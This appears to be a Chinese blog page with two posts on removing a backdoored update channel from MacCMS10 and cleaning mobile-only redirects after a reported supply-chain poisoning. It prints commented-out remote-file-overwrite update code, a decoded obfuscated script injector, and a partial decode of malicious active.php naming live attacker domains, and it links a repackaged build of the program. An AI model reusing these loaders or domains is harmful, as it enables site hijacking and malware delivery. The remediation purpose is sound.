首页
留言
Search
1
在Centos7下搭建Socks5代理服务器
1,281 阅读
2
在windows11通过Zip安装Mysql5.7
872 阅读
3
Mysql5.7开放远程登录
782 阅读
4
数据库
739 阅读
5
mysql5.7基本命令
646 阅读
综合
正则表达式
git
系统
centos7
ubuntu
kali
Debian
网络
socks5
wireguard
运维
docker
hadoop
kubernetes
hive
openstack
ElasticSearch
ansible
前端
三剑客
油猴脚本
Python
Python3
selenium
Flask
PHP
PHP基础
ThinkPHP
游戏
我的世界
算法
递归
排序
查找
软件
ide
Xshell
vim
PicGo
Typora
云盘
安全
靶场
reverse
Java
JavaSE
Spring
MyBatis
C++
QT
数据库
mysql
登录
Search
标签搜索
java
centos7
linux
php
centos
JavaScript
html5
css3
mysql
spring
mysql5.7
linux全栈
ubuntu
BeanFactory
SpringBean
python
python3
ApplicationContext
kali
thinkphp
我亏一点
累计撰写
143
篇文章
累计收到
1
条评论
首页
栏目
综合
正则表达式
git
系统
centos7
ubuntu
kali
Debian
网络
socks5
wireguard
运维
docker
hadoop
kubernetes
hive
openstack
ElasticSearch
ansible
前端
三剑客
油猴脚本
Python
Python3
selenium
Flask
PHP
PHP基础
ThinkPHP
游戏
我的世界
算法
递归
排序
查找
软件
ide
Xshell
vim
PicGo
Typora
云盘
安全
靶场
reverse
Java
JavaSE
Spring
MyBatis
C++
QT
数据库
mysql
页面
留言
搜索到
2
篇与
挂码
的结果
2026-03-15
苹果cms10 去除官方更新
苹果cms10 去除官方更新根据奇安信实锤,基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.下载源代码从github中下载源代码,一般来说后门不会直勾勾的写在github上,都是通过安装之后通过自动更新加入到代码中。所以此时的github代码是安全的https://github.com/magicblack/maccms102.批量替换域名(关键)使用代码编辑器,批量替换代码域名,此处域名我以自己网站代替,即使自己的域名有些请求失败,但是也好过官方的。union.maccms.la => 所有带有该域名的链接全部改为空maccms.la => 替换成自己的域名aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv => 该字符串为更新域名的base64编码,替换为空,有两处地方要修改。application/admin/controller/Update.phpapplication/admin/controller/Safety.php3.注释更新后门文件(关键)文件路径:application/admin/controller/Update.php<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo "<div class='update'><h1>".lang('admin/update/step1_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo '</textarea></div>'; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo "<div class='update'><h1>".lang('admin/update/step2_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>\n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo '</textarea></div>'; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo "<div class='update'><h1>".lang('admin/update/step3_a')."</h1><div rows=\"25\" class='layui-textarea' readonly>\n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')."<br>"; // echo lang('admin/update/upgrade_complete')."<br>"; // if(is_file($this->_save_path . 'database.php')){ // echo "<strong style='color: red;'>" . lang('admin/update/not_delete') . ":application/data/update/database.php</strong>"; // } // ob_flush();flush(); // echo '</div></div>'; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }4.注释更新JavaScript文件文件路径:static_new/js/update.js// String.prototype.replaceAll = function (FindText, RepText) { // regExp = new RegExp(FindText, "g"); // return this.replace(regExp, RepText); // } // function getQS(par, name) { // var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); // var r = par.substr(1).match(reg); // if (r != null) return unescape(r[2]); return null; // } // function msck(n, v) { var exp = new Date(); exp.setTime(exp.getTime() + 30 * 60 * 1000); document.cookie = n + "=" + escape(v) + ";path=/;expires=" + exp.toGMTString() } // function mgck(n) { var arr, reg = new RegExp("(^| )" + n + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null } // var new_v = '2024.1000.4044'; // var update_content = [ // '<strong>v2024.1000.4044 更新内容:</strong>', // '1,优化重名检测卡顿问题。', // '2,入库重复规移除名称必选和新增豆瓣id。', // '3,修正帐号无法登出问题。', // '4,其他细节优化。', // ].join('<br>'); // var package = 'maccms10_update'; // var domain = 'update.000081.xyz/'; // var params = window.location.search; // var scripts = document.getElementsByTagName('script'); // for (i = 0; i < scripts.length; i++) { // var lastUrl = scripts[i].src; // if (lastUrl.indexOf(domain) > -1) { // params = lastUrl.substr(lastUrl.indexOf('?')); // } // } // var de = new Date(), mh = de.getMonth() + 1, da = de.getDate(), rr = mh + "" + da; // var c = getQS(params, 'c'); // var v = getQS(params, 'v'); // var p = getQS(params, 'p'); // var tp = getQS(params, 'tp'); // var v1 = v.replace(/\./g, ""); // var v2 = new_v.replace(/\./g, ""); // var html = ''; // if (v2 > v1) { // html += `<table class="tbinfo pleft layui-table" > // <thead> // <th colspan="4"> // 更新提示【${new_v}】>>> // <a target="_blank" href="https://t.me/maccms_channel">Telegram群https://t.me/maccms_channel</a> // // <a target="_blank" href="https://github.com/magicblack">Github源码https://github.com/magicblack</a> // </th> // </thead> // <tr> // <td colspan="4"> // <font class="tif s20" style="display: none;"> // 警告,补丁包【${new_v}】发布,修复安全漏洞和更新服务,请及时升级相应补丁! // </font> // <a class="j-iframe" title="点击进入升级" data-href="${ADMIN_PATH}/admin/update/step1.html?file=${package}"> // <font class="tit s20">【点击进入在线升级】</font> // </a> // <a href="https://github.com/magicblack/maccms_down/raw/master/maccms10_update.zip"> // <font class="tit s20">【下载离线升级包线路1】</font> // </a> // <a href="https://cdn.jsdelivr.net/gh/magicblack/maccms_down@master/maccms10_update.zip"> // <font class="tit s20">【下载离线升级包线路2】</font> // </a> // </td> // </tr> // <tr> // <td colspan="4">${update_content}</td> // </tr> // </table>`; // } // else { // html += `<table class="tbinfo pleft layui-table" > // <thead> // <th colspan="4"> // 更新提示>>> // <a target="_blank" href="https://t.me/maccms_channel">Telegram群https://t.me/maccms_channel</a> // // <a target="_blank" href="https://github.com/magicblack">Github源码https://github.com/magicblack</a> // </th> // </thead> // <tr> // <td colspan="4"><font class="tit s20">当前是最新版本!</font></td> // </tr> // </table>`; // } // if (tp != null) { // var v3 = tp.replace(/\./g, ""); // if (v3 < 5024) { // html += `<table class="tbinfo pleft layui-table" > // <thead> // <th colspan="4">ThinkPHP框架更新提示</th> // </thead> // <tr> // <td colspan="4"> // <font class="tif s20">警告:ThinkPHP5.0.24版本发布安全更新,建议更新框架以免造成不必要的损失,下载后直接覆盖到网站根目录即可!</font> // <a href="https://cdn.jsdelivr.net/gh/magicblack/maccms_down@master/%E4%B8%93%E7%94%A8thinkphp%205.0.24.zip"> // <font class="tit s20">【点击下载框架升级包】</font> // </a> // </td> // </tr> // </table>`; // } // } // $("body").append("<style>.tit{color:blue;} .tif{color:red;} .s20{font-size:20px;} </style>"); // $("table:last").after(html);5.注释index.html下的ajax更新请求文件路径:application/admin/view_new/index/index.html var layer; layui.use(['element', 'layer', 'form'], function () { var $ = layui.jquery, element = layui.element, form = layui.form; layer = layui.layer; console.log("MAC_VERSION", MAC_VERSION) // if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') { // $.ajax({ // url: `https://update.000081.xyz/v10/?c=check&v=${MAC_VERSION}&p=${PHP_VERSION}&tp=${THINK_VERSION}&t=${Math.random()}`, // type: 'GET', // dataType: 'text', // 确保返回的数据被视为纯文本 // success: function (response) { // // 使用正则表达式提取update_content // // var updateContentRegex = /var update_content = \[((?:.|\n)*?)\].join\('<br>\');/g; // var updateContentMatch = response.match(/var update_content\s*=\s*\[(.*?)\]\.join\('<br>'\);/s); // console.log("updateContentMatch", updateContentMatch) // if (updateContentMatch){ // eval(updateContentMatch[0]) // } // // 使用正则表达式提取new_v // var newVRegex = /var new_v = '(.*?)';/; // var newVMatch = response.match(newVRegex); // var newV = newVMatch ? newVMatch[1] : '未找到new_v'; // if (newV > MAC_VERSION) { // // 存储更新信息到全局变量,供showUpdateDialog函数使用 // window.updateInfo = { // newV: newV, // update_content: update_content, // package: 'maccms10_update' // }; // // 显示更新按钮而不是直接弹窗(在两个位置都显示) // $('.layout-right #update-notification').show().addClass('show'); // $('.bottom-nav #update-notification').show().addClass('show'); // } // }, // error: function (xhr, status, error) { // console.error('AJAX请求失败:', error); // } // }); // } // layer.msg('提示信息', { time: 180000 }); element.init('nav', 'demo'); // 重新渲染select,将下拉弹层插入到body form.render('select', { render: true });6.注释检测更新文件文件路径:static/js/admin_common.js第19行 $(function(){ if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) { // eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{})); } });该混淆解码后内容如下$('body').append('<script src="//update.maccms.la/v10/?c=check&a=' + MAC_VERSION + '&p=' + PHP_VERSION + '&tp=' + THINK_VERSION + '&t=' + Math.random() + '"></script>');7.屏蔽maccms.la域名,可选操作服务器中,屏蔽官方域名,防止其他没改到的地方更新maccms.la*.maccms.la提供已去除更新程序提供的程序已按照上述流程去除更新,只需要将000081.xyz自行替换为自己的域名{cloud title="OpenList" type="default" url="https://pan.000081.xyz/d/%E5%8D%9A%E5%AE%A2/php/%E8%8B%B9%E6%9E%9Ccms10/maccms10-2025.1000.4052.zip?sign=S6MYkdgR0J6JR7SyYoMZ2MS_5-HgRY6w2b1vNWUNwTY=:0" password=""/}
2026年03月15日
3 阅读
0 评论
0 点赞
2026-03-15
苹果cms10 挂码手机端自动跳转非法网站处理
苹果cms10 挂码手机端自动跳转非法网站处理{alert type="info"}程序使用的是maccms.la的苹果cms,记录目前处理方法,不一定有效,可能还有漏网之鱼。{/alert}{message type="error" content="2026/3/15 17:00 实测此方法并不能完全解决,还有漏网之鱼,手机端还是偶尔会跳转"/}去更新可以查看这篇 https://www.000081.xyz/index.php/archives/388/{message type="success" content="2026/3/15 18:00 请从github下载最新的程序,进行域名替换,去除官方更新,然后再导入数据库数据,此方法目前有效"/}根据奇安信实锤,基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.目前已知的非法跳转有播放器引用链接:union.maccms.la/html/prestrain.html播放器引用链接:union.maccms.la/html/loading.htmlapplication/extra/active.php文件active.php文件里面有gzuncompress加密,借助ai代码审计后解密后的内容<script type="text/javascript"> function xxSJRox(e){...} // Base64解码函数 function aPnDhiTia(e){...} // 另一个解码函数 // 恶意代码:加载外部JS eval('window')['MfXKwV'] = function(){ // 从恶意域名加载脚本 s.src = 'aHR0cHM6Ly9jb2RlLmpxdWVjeS5jb20vanF1ZXJ5Lm1pbi0zLjYuOC5qcw==' // 解码后: https://code.jquecy.com/jquery.min-3.6.8.js }; // 仅在非Windows/Mac平台执行(针对移动端) if (!(/^Mac|Win/.test(navigator.platform))) MfXKwV(); // 反调试 setInterval(function(){debugger;},100); </script>AI代码审计主要恶意文件:application/extra/active.php 该文件包含大量恶意代码,通过 gzuncompress 压缩隐藏: 解密后发现的内容: 恶意JavaScript脚本:加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js(伪装成jQuery) 恶意域名列表:用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点: ✅ 仅针对移动端用户(!$env->isMobile() 时跳过) ✅ 绕过管理员IP检测 ✅ 通过 view_filter 钩子自动执行 ✅ 包含反调试功能伪装的jquery链接,在电脑打开,返回内容为空白,电脑切换为手机的ua,才会正常加载内容2.处理方法2.1.屏蔽官方更新更新文件路径:application/admin/controller/Update.php更新文件路径:application/admin/controller/Safety.php将所有 "aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv" 内容替换为 ""aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv内容base64解码后为http://update.maccms.la/Update.php文件中,方法内容注释<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo "<div class='update'><h1>".lang('admin/update/step1_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo '</textarea></div>'; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo "<div class='update'><h1>".lang('admin/update/step2_a')."</h1><textarea rows=\"25\" class='layui-textarea' readonly>\n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo '</textarea></div>'; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo "<div class='update'><h1>".lang('admin/update/step3_a')."</h1><div rows=\"25\" class='layui-textarea' readonly>\n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')."<br>"; // echo lang('admin/update/upgrade_complete')."<br>"; // if(is_file($this->_save_path . 'database.php')){ // echo "<strong style='color: red;'>" . lang('admin/update/not_delete') . ":application/data/update/database.php</strong>"; // } // ob_flush();flush(); // echo '</div></div>'; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }保险起见可以在服务器屏蔽官方域名maccms.la*.maccms.la2.2.替换所有maccms.la域名代码中批量替换所有maccms.la域名,将带有maccms.la域名的参数和链接全部置空,也可以替换成自己的域名,即使打不开也好过引用官方的链接2.3.删除active.php文件删除产生的active.php文件application/extra/active.php
2026年03月15日
2 阅读
0 评论
0 点赞